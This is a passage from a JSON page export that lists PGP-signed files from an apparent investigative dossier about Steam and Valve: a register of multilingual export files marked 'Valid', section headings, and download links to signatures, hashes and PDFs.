/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/pl/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/pl/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/pl/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/pl/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/pl/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/pl/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/pl/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/pl/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/pl/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/pl/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/pl/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/pl/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/pl/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/pl/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/pt/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/pt/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/pt/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/pt/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/pt/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/pt/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/pt/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/pt/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/pt/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/pt/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/pt/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/pt/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/pt/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/pt/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/pt/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/pt/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/pt/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/pt/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/pt/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/pt/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/tr/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/tr/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/tr/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/tr/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/tr/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/tr/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/tr/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/tr/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/tr/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/tr/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/tr/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/tr/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/tr/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/tr/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/tr/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/tr/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/tr/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/tr/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/tr/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/tr/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/uk/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/uk/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/uk/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/uk/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/uk/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/uk/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/uk/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/uk/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/uk/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/uk/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/uk/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/uk/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/uk/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/uk/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/uk/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/uk/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/uk/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/uk/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/uk/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/uk/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/vi/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/vi/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/vi/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/vi/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/vi/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/vi/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/vi/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/vi/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/vi/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/vi/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/vi/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/vi/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/vi/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/vi/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/vi/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/vi/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/vi/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/vi/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/vi/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/vi/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\ncard_economy.content.jsonexports/pages/zh/card_economy.content.json\t2026-09-30\tValid\tFile.asc\nelite_skins.content.jsonexports/pages/zh/elite_skins.content.json\t2026-09-30\tValid\tFile.asc\nenforcement_audit.content.jsonexports/pages/zh/enforcement_audit.content.json\t2026-09-30\tValid\tFile.asc\nindex.content.jsonexports/pages/zh/index.content.json\t2026-09-30\tValid\tFile.asc\ninvestigation_part2.content.jsonexports/pages/zh/investigation_part2.content.json\t2026-09-30\tValid\tFile.asc\nlegal_analysis.content.jsonexports/pages/zh/legal_analysis.content.json\t2026-09-30\tValid\tFile.asc\nlicense_disclaimer.content.jsonexports/pages/zh/license_disclaimer.content.json\t2026-09-30\tValid\tFile.asc\nmarket_economics.content.jsonexports/pages/zh/market_economics.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__index.content.jsonexports/pages/zh/output_steam_network__index.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__network.content.jsonexports/pages/zh/output_steam_network__network.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/zh/output_steam_network__steam_ecosystem_dashboard.content.json\t2026-09-30\tValid\tFile.asc\noutput_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/zh/output_steam_network__valve_ru_farming_isolated.content.json\t2026-09-30\tValid\tFile.asc\nregulatory_act_print.content.jsonexports/pages/zh/regulatory_act_print.content.json\t2026-09-30\tValid\tFile.asc\nsecurity_timeline.content.jsonexports/pages/zh/security_timeline.content.json\t2026-09-30\tValid\tFile.asc\nskin_atlas.content.jsonexports/pages/zh/skin_atlas.content.json\t2026-09-30\tValid\tFile.asc\nsocial_graph.content.jsonexports/pages/zh/social_graph.content.json\t2026-09-30\tValid\tFile.asc\nsteam_enforcement_evidence.content.jsonexports/pages/zh/steam_enforcement_evidence.content.json\t2026-09-30\tValid\tFile.asc\nsteam_evidence_archive.content.jsonexports/pages/zh/steam_evidence_archive.content.json\t2026-09-30\tValid\tFile.asc\nsupport_canned_refusals.content.jsonexports/pages/zh/support_canned_refusals.content.json\t2026-09-30\tValid\tFile.asc\nvalve_scandals_registry.content.jsonexports/pages/zh/valve_scandals_registry.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-ar.content.jsonexports/steam-dossier-ar.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-de.content.jsonexports/steam-dossier-de.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-en.content.jsonexports/steam-dossier-en.content.json\t2026-10-04\tValid\tFile.asc\nsteam-dossier-es.content.jsonexports/steam-dossier-es.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-fr.content.jsonexports/steam-dossier-fr.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-hi.content.jsonexports/steam-dossier-hi.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-id.content.jsonexports/steam-dossier-id.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-it.content.jsonexports/steam-dossier-it.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-ja.content.jsonexports/steam-dossier-ja.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-ko.content.jsonexports/steam-dossier-ko.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-nl.content.jsonexports/steam-dossier-nl.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-pl.content.jsonexports/steam-dossier-pl.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-pt.content.jsonexports/steam-dossier-pt.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-tr.content.jsonexports/steam-dossier-tr.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-uk.content.jsonexports/steam-dossier-uk.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-vi.content.jsonexports/steam-dossier-vi.content.json\t2026-09-30\tValid\tFile.asc\nsteam-dossier-zh.content.jsonexports/steam-dossier-zh.content.json\t2026-09-30\tValid\tFile.asc\nlicense-rights.jsonsteam_tos_assets/license-rights.json\tSee signed file\tValid\tFile.asc\nsteam-api-scam-exposed-release.jsonsteam_tos_assets/steam-api-scam-exposed-release.json\tSee signed file\tValid\tFile.asc\nsteam-shadow-economy-release.jsonsteam_tos_assets/steam-shadow-economy-release.json\tSee signed file\tValid\tFile.asc\nvalve-profits-from-stolen-accounts-release.jsonsteam_tos_assets/valve-profits-from-stolen-accounts-release.json\tSee signed file\tValid\tFile.asc",
        "headings": [
          {
            "level": 1,
            "text": "The signed record.",
            "anchor": "pd-signatures--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/signatures"
          },
          {
            "level": 2,
            "text": "Know what the signature covers.",
            "anchor": "pd-signatures--scope",
            "source_url": "https://phishdestroy.io/steam_dossier/signatures#scope"
          },
          {
            "level": 2,
            "text": "Repeat the check.",
            "anchor": "pd-signatures--repeat",
            "source_url": "https://phishdestroy.io/steam_dossier/signatures#repeat"
          },
          {
            "level": 2,
            "text": "Find a signed file.",
            "anchor": "pd-signatures--register",
            "source_url": "https://phishdestroy.io/steam_dossier/signatures#register"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/signatures"
          },
          {
            "label": "Download the complete verification result · JSON",
            "url": "https://phishdestroy.io/steam_dossier/ai/signature-verification.json"
          },
          {
            "label": "Download the public key",
            "url": "https://phishdestroy.io/.well-known/pgp-key.txt"
          },
          {
            "label": "JSON",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.content.json"
          },
          {
            "label": "Signature",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.content.json.asc"
          },
          {
            "label": "SHA-256",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.content.json.sha256"
          },
          {
            "label": "PDF",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.pdf"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_phishdestroy.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_phishdestroy.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/validation.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/validation.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/dossier-text.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/dossier-text.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
